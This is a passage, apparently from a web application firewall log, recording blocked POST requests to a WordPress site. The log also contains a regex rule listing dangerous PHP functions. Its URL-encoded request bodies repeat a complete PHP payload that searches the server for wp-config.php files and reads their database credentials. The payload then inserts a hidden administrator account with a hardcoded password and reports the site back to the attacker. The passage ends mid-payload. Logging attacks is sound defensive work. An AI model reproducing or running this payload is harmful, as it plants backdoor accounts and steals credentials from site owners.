201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/ HTTP\/1.1\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFT8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12640\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nHo=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 23:34:40","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UT:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%